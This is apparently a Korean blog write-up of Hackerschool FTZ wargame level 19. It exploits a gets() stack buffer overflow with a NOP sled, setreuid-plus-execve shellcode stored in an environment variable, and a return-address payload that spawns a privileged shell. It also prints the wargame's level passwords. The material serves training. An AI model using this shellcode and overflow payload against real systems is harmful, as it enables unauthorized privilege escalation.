티스토리 뷰





FTZ level19

pw : swimming in pink


레벨 19입니다.


먼저 hint를 보겠습니다.



간단합니다.


setuid도 걸려있지 않고 그냥 gets로만 입력을 받네요.


버퍼오버플로우가 발생합니다.


그냥 setuid 걸어주고 쉘코드를 이용하면 될 것 같습니다.


먼저 분석하겠습니다.


분석하기 위해서 tmp폴더로 파일을 옮기겠습니다.


gdb로 분석을 해주겠습니다.


보기편한 intel방식을 사용하겠습니다.




main의 어셈블리 코드입니다.



스택프레임이 0x28만큼 구성되어있습니다.


0x28은


10진수로 40입니다.


ebp-40부터 입력을 받습니다.


따라서 esp부터 입력을 받는군요.


그러면


buf 40 + sfp + ret


이렇게 될 것 같습니다.


그럼 bof로 sfp까지 덮어준 뒤 ret을 조작해주면 될 것 같습니다.


쉘코드는 환경변수에 저장해놓겠습니다.


그리고 setreuid가 적용되어있지 않기 때문에


setreuid를 적용해주는 쉘코드  (16바이트) 와 쉘코드 (25바이트)를 합쳐서 공격하겠습니다.


export SH=$(python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


\x90은 여유롭게 100개 정도 넣었습니다.


그리고 환경변수의 주소를 구하겠습니다




getenv함수로 환경변수의 주소를 구할 수 있습니다.



컴파일을 해줍니다.


주소가 나옵니다.


이제 바로 payload를 짜보겠습니다.


(python -c 'print "a"*44+"\x5c\xfe\xff\xbf"';cat) | ./attackme


gets로 입력을 받으니 |파이프 명령을 통해서 값을 넘겨줘야 합니다.


tmp파일에 공격을 해보겠습니다.



쉘이 실행되었습니다.


실제 파일에 공격을 해보겠습니다.



권한을 얻었습니다.



Level20 Password is "we are just regular guys".










'pwnable > FTZ' 카테고리의 다른 글

[Hackerschool FTZ] Level18 write-up  (0) 2018.01.18
[Hackerschool FTZ] Level17 write-up  (0) 2018.01.17
[Hackerschool FTZ] Level16 write-up  (0) 2018.01.15
[Hackerschool FTZ] Level15 write-up  (0) 2018.01.15
[Hackerschool FTZ] Level14 write-up  (0) 2018.01.15
Comments